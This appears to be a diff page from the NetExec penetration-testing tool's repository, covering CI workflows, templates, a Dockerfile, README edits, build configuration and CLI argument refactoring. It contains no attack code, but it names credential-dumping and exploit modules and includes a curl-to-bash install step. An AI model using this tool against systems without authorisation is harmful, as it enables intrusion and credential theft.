romanrii a306cfaf5c Added exception handler if a local file does not exist when attempting to upload it to a ftp server using --put 2023-09-24 12:54:48 +00:00
romanrii 9cbd847fd6 Modified nxc/protocols/ftp/proto_args.py and added (--get and --put). Modified --ls
Modified nxc/protocols/ftp.py and added --get and --put functionality. Modified --ls functionality
2023-09-24 12:36:14 +00:00
Marshall Hallenbeck 14be9d5b0e ruff cleanup 2023-09-24 00:25:08 -04:00
Marshall Hallenbeck 443c363129 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-09-24 00:07:00 -04:00
Marshall Hallenbeck c445d381c5 fix string interpolation 2023-09-24 00:06:51 -04:00
Alex 69514ce356 Remove old NotImplementedError 2023-09-23 12:56:04 +02:00
Marshall Hallenbeck 7b44fcd327 ruff autoformat to clean up all the single quotes and other bad formatting 2023-09-22 21:10:21 -04:00
Marshall Hallenbeck d7d30cb2e8 update ruff version 2023-09-22 20:58:22 -04:00
Marshall Hallenbeck 0dc6d61d1a no need for gitmodules anymore 2023-09-22 20:48:32 -04:00
Marshall Hallenbeck e3dfbb3f15 remove flake 2023-09-22 20:47:26 -04:00
Marshall Hallenbeck bda8ecb129 clean up wireless module 2023-09-22 15:37:07 -04:00
Marshall Hallenbeck efbecca7a7 cleanup winscp_dump module 2023-09-22 15:33:41 -04:00
Marshall Hallenbeck dae229a378 cleanup wdigest module 2023-09-22 15:27:05 -04:00
Marshall Hallenbeck bbf1024b37 fix variable naming for file listing 2023-09-22 15:24:22 -04:00
Marshall Hallenbeck d12c139c9e cleanup 2023-09-22 15:23:00 -04:00
Marshall Hallenbeck f554223d75 refactor(wcc): update wcc module quotes and refactor some formatting 2023-09-22 15:22:54 -04:00
Marshall Hallenbeck 3f1d0f4f91 clean up ntdsutil module 2023-09-22 15:07:07 -04:00
Marshall Hallenbeck a730ed0f22 clean up rdp module 2023-09-22 15:06:58 -04:00
Marshall Hallenbeck a460565cd8 add F841 (variable assigned but never used) to ruff exclude 2023-09-22 14:56:36 -04:00
Marshall Hallenbeck 5b6153c2a8 properly use fstring 2023-09-22 14:55:18 -04:00
Marshall Hallenbeck 63ac5c7e77 properly import specific ctypes and update description 2023-09-22 14:55:01 -04:00
Marshall Hallenbeck 89968b3d54 fix ignore rule (E->F) 2023-09-22 14:12:27 -04:00
Marshall Hallenbeck 7f4ab239f5 More cleanup 2023-09-22 10:51:38 -04:00
Marshall Hallenbeck 85ed0794ee remove old urllib3 error ignore 2023-09-22 10:40:43 -04:00
Marshall Hallenbeck b33ccfb1c8 fix exception handle and add TODO 2023-09-22 10:40:29 -04:00
Marshall Hallenbeck da2ec9b274 documentation(mssql_priv): add docstrings and a bit of cleanup 2023-09-22 10:37:10 -04:00
Marshall Hallenbeck b38e71d8fa refactor(ms17-010): clean up and add full AI-generated comments to MS17-010 Module, since there's a lot of byte-work 2023-09-22 10:04:36 -04:00
Marshall Hallenbeck 2a5c01d6b6 do some cleanup for hash_spider for #38 2023-09-22 09:56:04 -04:00
Marshall Hallenbeck 76bf3be084 clean up appcmd.py 2023-09-22 09:50:56 -04:00
Marshall Hallenbeck 9ecb07c9e8 ignore additional linting rule 2023-09-22 09:48:40 -04:00
Marshall Hallenbeck 4d8441edfd Merge branch 'main' into marshall-dependency-update-9-19-2023 2023-09-22 09:18:50 -04:00
Alex 24bdf8fbb8 Add comment for oscrypto package 2023-09-22 14:50:40 +02:00
Marshall Hallenbeck 155547c889 add back in more checks for ruff 2023-09-21 23:50:21 -04:00
Marshall Hallenbeck 017c26bd3b fix running ruff 2023-09-21 23:47:59 -04:00
Marshall Hallenbeck 9eb4487369 actually add the linter workflow 2023-09-21 23:45:41 -04:00
Marshall Hallenbeck d0ecd4b889 fix escaping in smbexec 2023-09-21 23:44:05 -04:00
Marshall Hallenbeck 1c7df154b8 more cleanup 2023-09-21 23:42:54 -04:00
Marshall Hallenbeck f5439cb43f clean up find-computer module 2023-09-21 23:12:59 -04:00
Marshall Hallenbeck fb0d153210 refactor(add_computer): refactor and add docstrings to add_computer module 2023-09-20 12:24:42 -04:00
Marshall Hallenbeck ee1e7b0d52 fix exception handling 2023-09-20 12:24:20 -04:00
Marshall Hallenbeck bdf0fe27e8 cleanup wmiexec_event code 2023-09-20 12:06:44 -04:00
Marshall Hallenbeck b788f09af8 fix exception handling 2023-09-20 12:03:41 -04:00
Marshall Hallenbeck 1e381fb62d fix exception handling and remove unused function 2023-09-20 12:02:37 -04:00
Marshall Hallenbeck 85335213da automatic ruff fixing 2023-09-20 11:59:16 -04:00
Marshall Hallenbeck f9489dcb7e fix type check and add docstrings to powershell.py 2023-09-20 11:52:11 -04:00
Marshall Hallenbeck 43ce9cbd20 cleanup: fix variable names in query_db_cred 2023-09-20 11:43:20 -04:00
Marshall Hallenbeck bfe875d37c doc(connection.py): add docstring for call_modules 2023-09-20 11:36:44 -04:00
Marshall Hallenbeck 1ef24853a4 update exception handling and add docstring to call_cmd_args. also make variables easier to understand 2023-09-20 11:34:43 -04:00
Marshall Hallenbeck a1af9e31d8 update exception handling 2023-09-20 11:29:53 -04:00
Marshall Hallenbeck 7e366385f6 fix exception handling and printing in build collector 2023-09-20 11:28:09 -04:00
Marshall Hallenbeck 414b1f36b8 smbexec: fix escaping sequence 2023-09-20 09:14:21 -04:00
Marshall Hallenbeck ba10268a50 nxcdb: fix escaping sequence 2023-09-20 09:13:29 -04:00
Marshall Hallenbeck d57f3af7b1 fix escaping sequence in log 2023-09-20 09:11:20 -04:00
Marshall Hallenbeck 32f3c262f6 add comment on the inclusion of pyreadline 2023-09-20 08:42:24 -04:00
Marshall Hallenbeck dd33a93d64 Merge branch 'marshall-dependency-update-9-19-2023' of github.com:Pennyw0rth/NetExec into marshall-dependency-update-9-19-2023 2023-09-20 08:40:09 -04:00
Marshall Hallenbeck 7380ba7dd2 update dependencies again, but roll back pywerview and neo4j upgrade, replace flake8 with ruff, and remove black 2023-09-20 08:39:51 -04:00
Marshall Hallenbeck 8c7ed6725d rename nxc PATH variable 2023-09-20 00:09:25 -04:00
Marshall Hallenbeck 29dfcb4f70 remove unused code 2023-09-19 22:07:14 -04:00
Marshall Hallenbeck b75b1dc218 remove unnecessary imports 2023-09-19 21:49:10 -04:00
Marshall Hallenbeck 97b7ee22d0 Merge branch 'main' into marshall-dependency-update-9-19-2023 2023-09-19 17:00:28 -04:00
Marshall Hallenbeck 40e770f066 update version of impacket fork 2023-09-19 15:00:22 -04:00
Marshall Hallenbeck b5599b9d31 update dependencies and change impacket fork to Pennyw0rth one 2023-09-19 14:59:26 -04:00
XiaoliChan ad295ea7ac [ssh] improvement
Signed-off-by: XiaoliChan <[email protected]>
2023-09-18 16:31:36 +08:00
257 changed files with 23237 additions and 14046 deletions

No files matched your search

+1 -1
View File
@@ -3,4 +3,4 @@
##########################################
# default ownership:
* @zblurx @Marshall-Hallenbeck @NeffIsBack
* @zblurx @Marshall-Hallenbeck @NeffIsBack @mpgn
+6 -2
View File
@@ -1,3 +1,5 @@
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
---
name: Bug report
about: Create a report to help us improve
@@ -7,6 +9,8 @@ assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
@@ -30,8 +34,8 @@ If applicable, add screenshots to help explain your problem.
**NetExec info**
- OS: [e.g. Kali]
- Version of nxc [e.g. v1.5.2]
- Installed from: apt/github/pip/docker/...? Please try with latest release before openning an issue
- Version of nxc: [e.g. v1.5.2] (run nxc --version and post the _exact_ string that is output)
- Installed from: apt/github/pip/docker/...? Please try with latest release before opening an issue
**Additional context**
Add any other context about the problem here.
+18
View File
@@ -0,0 +1,18 @@
---
name: Feature request
about: Request a new feature or enhancement
title: ''
labels: ''
assignees: ''
---
**Please Describe The Problem To Be Solved**
(Replace This Text: Please present a concise description of the problem to be addressed by this feature request. Please be clear what parts of the problem are considered to be in-scope and out-of-scope.)
**(Optional): Suggest A Solution**
(Replace This Text: A concise description of your preferred solution. Things to address include:
* Details of the technical implementation
* Tradeoffs made in design decisions
* Caveats and considerations for the future
If there are multiple solutions, please present each one separately. Save comparisons for the very end.)
+35
View File
@@ -0,0 +1,35 @@
## Description
Please include a summary of the change and which issue is fixed, or what the enhancement does.
List any dependencies that are required for this change.
## Type of change
Insert an "x" inside the brackets for relevant items (do not delete options)
- [ ] Bug fix (non-breaking change which fixes an issue)
- [ ] New feature (non-breaking change which adds functionality)
- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
- [ ] Deprecation of feature or functionality
- [ ] This change requires a documentation update
- [ ] This requires a third party update (such as Impacket, Dploot, lsassy, etc)
## Setup guide for the review
Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions.
In particular:
- Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer.
- Added Feature/Enhancement: Please specify what setup is needed in order to test the changes. E.g. is additional software needed? GPO changes required? Specific registry settings that need to be changed?
## Screenshots (if appropriate):
Screenshots are always nice to have and can give a visual representation of the change.
If appropriate include before and after screenshot(s) to show which results are to be expected.
## Checklist:
Insert an "x" inside the brackets for completed and relevant items (do not delete options)
- [ ] I have ran Ruff against my changes (via poetry: `poetry run python -m ruff check . --preview`, use `--fix` to automatically fix what it can)
- [ ] I have added or updated the `tests/e2e_commands.txt` file if necessary (new modules or features are _required_ to be added to the e2e tests)
- [ ] New and existing e2e tests pass locally with my changes
- [ ] If reliant on changes of third party dependencies, such as Impacket, dploot, lsassy, etc, I have linked the relevant PRs in those projects
- [ ] I have performed a self-review of my own code
- [ ] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation (PR here: https://github.com/Pennyw0rth/NetExec-Wiki)
@@ -10,28 +10,28 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.11"]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Native Binary
run: |
pip install pyinstaller
pip install pyinstaller pillow
pip install .
pyinstaller netexec.spec
- name: Upload Windows Binary
if: runner.os == 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc.exe
path: dist/nxc.exe
- name: Upload Nix/OSx Binary
if: runner.os != 'windows'
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-${{ matrix.os }}
path: dist/nxc
@@ -10,11 +10,11 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.8", "3.9", "3.10", "3.11"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
- name: Build Python ZipApp with Shiv
@@ -22,12 +22,12 @@ jobs:
pip install shiv
python build_collector.py
- name: Upload nxc ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxc
- name: Upload nxcdb ZipApp
uses: actions/upload-artifact@v3
uses: actions/upload-artifact@v4
with:
name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }}
path: bin/nxcdb
+33
View File
@@ -0,0 +1,33 @@
name: Lint Python code with ruff
# Caching source: https://gist.github.com/gh640/233a6daf68e9e937115371c0ecd39c61?permalink_comment_id=4529233#gistcomment-4529233
on:
push:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
lint:
runs-on: ubuntu-latest
if:
github.event_name == 'push' || github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
run: |
poetry install --with dev
- name: Run ruff
run: |
poetry run ruff --version
poetry run ruff check . --preview
-32
View File
@@ -1,32 +0,0 @@
name: NetExec Tests
on:
pull_request_review:
types: [submitted]
jobs:
build:
name: NetExec Tests for Py${{ matrix.python-version }}
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 4
matrix:
os: [ubuntu-latest]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
steps:
- uses: actions/checkout@v3
- name: NetExec tests on ${{ matrix.os }}
uses: actions/setup-python@v4
with:
python-version: ${{ matrix.python-version }}
- name: Install poetry
run: |
pipx install poetry --python python${{ matrix.python-version }}
poetry --version
poetry env info
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Run the e2e test
run: |
poetry run pytest tests
+48
View File
@@ -0,0 +1,48 @@
name: NetExec Tests
on:
workflow_dispatch:
pull_request_review:
types: [submitted]
jobs:
build:
name: Test for Py${{ matrix.python-version }}
if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch'
runs-on: ${{ matrix.os }}
strategy:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
run: |
pipx install poetry
poetry --version
poetry env info
- name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: poetry
cache-dependency-path: poetry.lock
- name: Install with pipx
run: |
pipx install . --python python${{ matrix.python-version }}
- name: Install libraries with dev group
run: |
poetry install --with dev
- name: Load every protocol and module
run: |
poetry run netexec winrm 127.0.0.1
poetry run netexec vnc 127.0.0.1
poetry run netexec smb 127.0.0.1
poetry run netexec ldap 127.0.0.1
poetry run netexec wmi 127.0.0.1
poetry run netexec rdp 127.0.0.1
poetry run netexec mssql 127.0.0.1
poetry run netexec ssh 127.0.0.1
poetry run netexec ftp 127.0.0.1
poetry run netexec smb 127.0.0.1 -L
+2 -3
View File
@@ -1,8 +1,10 @@
data/nxc.db
hash_spider_default.sqlite3
hash_spider_testing.sqlite3
*.bak
*.log
.venv
pyvenv.cfg
.vscode
.idea
# Byte-compiled / optimized / DLL files
@@ -57,9 +59,6 @@ coverage.xml
*.mo
*.pot
# Django stuff:
*.log
# Sphinx documentation
docs/_build/
View File
Whitespace-only changes.
+36 -13
View File
@@ -1,4 +1,32 @@
FROM python:3.11-slim
FROM python:3.13-slim-bookworm AS builder
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt update && \
apt install -y --no-install-recommends \
libffi-dev \
libxml2-dev \
libxslt-dev \
libssl-dev \
openssl \
autoconf \
g++ \
python3-dev \
curl \
git \
unzip \
&& apt clean && rm -rf /var/lib/apt/lists/*
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain stable
ENV PATH="/root/.cargo/bin:${PATH}"
RUN git clone https://github.com/Pennyw0rth/NetExec.git . \
&& pip install .
FROM python:3.13-slim-bookworm
ENV LANG=C.UTF-8
ENV LC_ALL=C.UTF-8
@@ -6,17 +34,12 @@ ENV PIP_NO_CACHE_DIR=off
WORKDIR /usr/src/netexec
RUN apt-get update && \
apt-get install -y libffi-dev libxml2-dev libxslt-dev libssl-dev openssl autoconf g++ python3-dev curl git
RUN apt-get update
# Get Rust
RUN curl https://sh.rustup.rs -sSf | bash -s -- -y
# Add .cargo/bin to PATH
ENV PATH="/root/.cargo/bin:${PATH}"
# Check cargo is visible
RUN cargo --help
COPY --from=builder /usr/local/lib/python3.13/site-packages /usr/local/lib/python3.13/site-packages
COPY --from=builder /usr/local/bin /usr/local/bin
COPY . .
RUN pip install .
RUN apt update && \
apt install -y --no-install-recommends \
openssl \
&& apt clean && rm -rf /var/lib/apt/lists/*
ENTRYPOINT [ "nxc" ]
ENTRYPOINT ["nxc"]
+2 -2
View File
@@ -1,5 +1,5 @@
Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx
Copyright (c) 2022, byt3bl33d3r, mpgn_x64
Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64
Copyright (c) 2022, byt3bl33d3r
All rights reserved.
Redistribution and use in source and binary forms, with or without
+16 -3
View File
@@ -1,7 +1,8 @@
![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg)
![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg)
[![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff)
[![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx)
[![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck)
[![Twitter](https://img.shields.io/twitter/follow/mpgn_x64?label=mpgn_x64&style=social)](https://twitter.com/intent/follow?screen_name=mpgn_x64)
🚩 This is the open source repository of NetExec maintained by a community of passionate people
@@ -9,7 +10,7 @@
This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
Along with many other contributers, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bugfixes, and helped maintain the original project CrackMapExec.
Along with many other contributors, we (NeffIsBack, Marshall-Hallenbeck, and zblurx) developed new features, bug fixes, and helped maintain the original project CrackMapExec.
During this time, with both a private and public repository, community contributions were not easily merged into the project. The 6-8 month discrepancy between the code bases caused many development issues and heavily reduced community-driven development.
With the end of mpgn's maintainer role, we (the remaining most active contributors) decided to maintain the project together as a fully free and open source project under the new name **NetExec** 🚀
Going forward, our intent is to maintain a community-driven and maintained project with regular updates for everyone to use.
@@ -20,7 +21,7 @@ Going forward, our intent is to maintain a community-driven and maintained proje
You are on the **latest up-to-date** repository of the project NetExec (nxc) ! 🎉
- 🚧 If you want to report a problem, open un [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🚧 If you want to report a problem, open an [Issue](https://github.com/Pennyw0rth/NetExec/issues)
- 🔀 If you want to contribute, open a [Pull Request](https://github.com/Pennyw0rth/NetExec/pulls)
- 💬 If you want to discuss, open a [Discussion](https://github.com/Pennyw0rth/NetExec/discussions)
@@ -36,6 +37,17 @@ See the project's [wiki](https://netexec.wiki/) (in development) for documentati
# Installation
Please see the installation instructions on the [wiki](https://netexec.wiki/getting-started/installation) (in development)
## Linux
```
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```
## Availability on Unix distributions
[![Packaging status](https://repology.org/badge/vertical-allrepos/netexec.svg)](https://repology.org/project/netexec/versions)
# Development
Development guidelines and recommendations in development
@@ -50,3 +62,4 @@ Awesome code contributors of NetExec:
[![](https://github.com/zblurx.png?size=50)](https://github.com/zblurx)
[![](https://github.com/NeffIsBack.png?size=50)](https://github.com/NeffIsBack)
[![](https://github.com/Hackndo.png?size=50)](https://github.com/Hackndo)
[![](https://github.com/XiaoliChan.png?size=50)](https://github.com/XiaoliChan)
+6 -11
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import shutil
import subprocess
@@ -11,27 +8,26 @@ from pathlib import Path
from shiv.bootstrap import Environment
# from distutils.ccompiler import new_compiler
from shiv.builder import create_archive
from shiv.cli import __version__ as VERSION
def build_nxc():
print("building nxc")
print("Building nxc")
try:
shutil.rmtree("bin")
shutil.rmtree("build")
except Exception as e:
except FileNotFoundError:
pass
except Exception as e:
print(f"Exception while removing bin & build: {e}")
try:
print("remove useless files")
os.mkdir("build")
os.mkdir("bin")
shutil.copytree("nxc", "build/nxc")
except Exception as e:
print(e)
print(f"Exception while creating bin and build directories: {e}")
return
subprocess.run(
@@ -48,7 +44,6 @@ def build_nxc():
check=True,
)
# [shutil.rmtree(p) for p in Path("build").glob("**/__pycache__")]
[shutil.rmtree(p) for p in Path("build").glob("**/*.dist-info")]
env = Environment(
@@ -93,7 +88,7 @@ if __name__ == "__main__":
try:
build_nxc()
build_nxcdb()
except:
except FileNotFoundError:
pass
finally:
shutil.rmtree("build")
Generated
-92
View File
@@ -1,92 +0,0 @@
{
"nodes": {
"flake-utils": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"flake-utils_2": {
"locked": {
"lastModified": 1649676176,
"narHash": "sha256-OWKJratjt2RW151VUlJPRALb7OU2S5s+f0vLj4o1bHM=",
"owner": "numtide",
"repo": "flake-utils",
"rev": "a4b154ebbdc88c8498a5c7b01589addc9e9cb678",
"type": "github"
},
"original": {
"owner": "numtide",
"repo": "flake-utils",
"type": "github"
}
},
"nixpkgs": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"nixpkgs_2": {
"locked": {
"lastModified": 1651248272,
"narHash": "sha256-rMqS47Q53lZQDDwrFgLnWI5E+GaalVt4uJfIciv140U=",
"owner": "NixOS",
"repo": "nixpkgs",
"rev": "8758d58df0798db2b29484739ca7303220a739d3",
"type": "github"
},
"original": {
"owner": "NixOS",
"repo": "nixpkgs",
"type": "github"
}
},
"poetry2nix": {
"inputs": {
"flake-utils": "flake-utils_2",
"nixpkgs": "nixpkgs_2"
},
"locked": {
"lastModified": 1651165059,
"narHash": "sha256-/psJg8NsEa00bVVsXiRUM8yL/qfu05zPZ+jJzm7hRTo=",
"owner": "nix-community",
"repo": "poetry2nix",
"rev": "ece2a41612347a4fe537d8c0a25fe5d8254835bd",
"type": "github"
},
"original": {
"owner": "nix-community",
"repo": "poetry2nix",
"type": "github"
}
},
"root": {
"inputs": {
"flake-utils": "flake-utils",
"nixpkgs": "nixpkgs",
"poetry2nix": "poetry2nix"
}
}
},
"root": "root",
"version": 7
}
-36
View File
@@ -1,36 +0,0 @@
{
description = "Application packaged using poetry2nix";
inputs.flake-utils.url = "github:numtide/flake-utils";
inputs.nixpkgs.url = "github:NixOS/nixpkgs";
inputs.poetry2nix.url = "github:nix-community/poetry2nix";
outputs = { self, nixpkgs, flake-utils, poetry2nix }:
{
# Nixpkgs overlay providing the application
overlay = nixpkgs.lib.composeManyExtensions [
poetry2nix.overlay
(final: prev: {
# The application
NetExec = prev.poetry2nix.mkPoetryApplication {
projectDir = ./.;
};
})
];
} // (flake-utils.lib.eachDefaultSystem (system:
let
pkgs = import nixpkgs {
inherit system;
overlays = [ self.overlay ];
};
in
{
apps = {
NetExec = pkgs.NetExec;
};
defaultApp = pkgs.NetExec;
packages = { NetExec = pkgs.NetExec; };
}));
}
+20 -2
View File
@@ -13,18 +13,27 @@ a = Analysis(
('./nxc/modules', 'nxc/modules')
],
hiddenimports=[
'aardwolf',
'aardwolf.connection',
'aardwolf.commons.queuedata.constants',
'aardwolf.commons.iosettings',
'aardwolf.commons.target',
'aardwolf.protocol.x224.constants',
'impacket.examples.secretsdump',
'impacket.examples.regsecrets',
'impacket.dcerpc.v5.lsat',
'impacket.dcerpc.v5.transport',
'impacket.dcerpc.v5.lsad',
'impacket.dcerpc.v5.gkdi',
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'nxc.connection',
'nxc.servers.smb',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
'nxc.protocols.smb.smbexec',
@@ -32,14 +41,17 @@ a = Analysis(
'nxc.protocols.smb.smbspider',
'nxc.protocols.smb.passpol',
'nxc.protocols.mssql.mssqlexec',
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.even6_parser',
'nxc.helpers.msada_guids',
'nxc.helpers.ntlm_parser',
'paramiko',
'pypsrp.client',
'pywerview.cli.helpers',
'pylnk3',
'pypykatz',
'pyNfsClient',
'masky',
'msldap',
'msldap.connection',
@@ -48,6 +60,7 @@ a = Analysis(
'lsassy.parser',
'lsassy.session',
'lsassy.impacketfile',
'bloodhound',
'dns',
'dns.name',
'dns.resolver',
@@ -58,12 +71,17 @@ a = Analysis(
'dploot.triage.browser',
'dploot.triage.credentials',
'dploot.triage.masterkeys',
'dploot.triage.mobaxterm',
'dploot.triage.backupkey',
'dploot.triage.wam',
'dploot.triage.wifi',
'dploot.triage.sccm',
'dploot.lib.target',
'dploot.lib.smb',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
runtime_hooks=[],
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("lsassy")
-3
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyInstaller.utils.hooks import collect_all
datas, binaries, hiddenimports = collect_all("pypykatz")
+109 -166
View File
@@ -1,26 +1,62 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import argcomplete
import sys
from argparse import RawTextHelpFormatter
from os import listdir
from os.path import dirname
from os.path import join as path_join
import nxc
from nxc.paths import NXC_PATH
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.helpers.logger import highlight
from termcolor import colored
from nxc.logger import nxc_logger
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.logger import nxc_logger, setup_debug_logging
import importlib.metadata
def gen_cli_args():
VERSION = importlib.metadata.version("netexec")
CODENAME = "A New Beginning"
setup_debug_logging()
parser = argparse.ArgumentParser(description=f"""
_ _ _ _____
| \ | | ___ | |_ | ____| __ __ ___ ___
| \| | / _ \ | __| | _| \ \/ / / _ \ / __|
| |\ | | __/ | |_ | |___ > < | __/ | (__
|_| \_| \___| \__| |_____| /_/\_\ \___| \___|
try:
VERSION, COMMIT = importlib.metadata.version("netexec").split("+")
DISTANCE, COMMIT = COMMIT.split(".")
except ValueError:
VERSION = importlib.metadata.version("netexec")
COMMIT = ""
DISTANCE = ""
CODENAME = "SmoothOperator"
generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
generic_group = generic_parser.add_argument_group("Generic", "Generic options for nxc across protocols")
generic_group.add_argument("--version", action="store_true", help="Display nxc version")
generic_group.add_argument("-t", "--threads", type=int, dest="threads", default=256, help="set how many concurrent threads to use")
generic_group.add_argument("--timeout", default=None, type=int, help="max timeout in seconds of each thread")
generic_group.add_argument("--jitter", metavar="INTERVAL", type=str, help="sets a random delay between each authentication")
output_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
output_group = output_parser.add_argument_group("Output", "Options to set verbosity levels and control output")
output_group.add_argument("--verbose", action="store_true", help="enable verbose output")
output_group.add_argument("--debug", action="store_true", help="enable debug level information")
output_group.add_argument("--no-progress", action="store_true", help="do not displaying progress bar during scan")
output_group.add_argument("--log", metavar="LOG", help="export result into a custom file")
dns_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone)
dns_group = dns_parser.add_argument_group("DNS")
dns_group.add_argument("-6", dest="force_ipv6", action="store_true", help="Enable force IPv6")
dns_group.add_argument("--dns-server", action="store", help="Specify DNS server (default: Use hosts file & System DNS)")
dns_group.add_argument("--dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries")
dns_group.add_argument("--dns-timeout", action="store", type=int, default=3, help="DNS query timeout in seconds")
parser = argparse.ArgumentParser(
description=rf"""
. .
.| |. _ _ _ _____
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -29,177 +65,84 @@ def gen_cli_args():
{highlight('Version', 'red')} : {highlight(VERSION)}
{highlight('Codename', 'red')}: {highlight(CODENAME)}
{highlight('Commit', 'red')} : {highlight(COMMIT)}
""",
formatter_class=RawTextHelpFormatter,
parents=[generic_parser, output_parser, dns_parser]
)
parser.add_argument(
"-t",
type=int,
dest="threads",
default=100,
help="set how many concurrent threads to use (default: 100)",
)
parser.add_argument(
"--timeout",
default=None,
type=int,
help="max timeout in seconds of each thread (default: None)",
)
parser.add_argument(
"--jitter",
metavar="INTERVAL",
type=str,
help="sets a random delay between each connection (default: None)",
)
parser.add_argument(
"--no-progress",
action="store_true",
help="Not displaying progress bar during scan",
)
parser.add_argument("--verbose", action="store_true", help="enable verbose output")
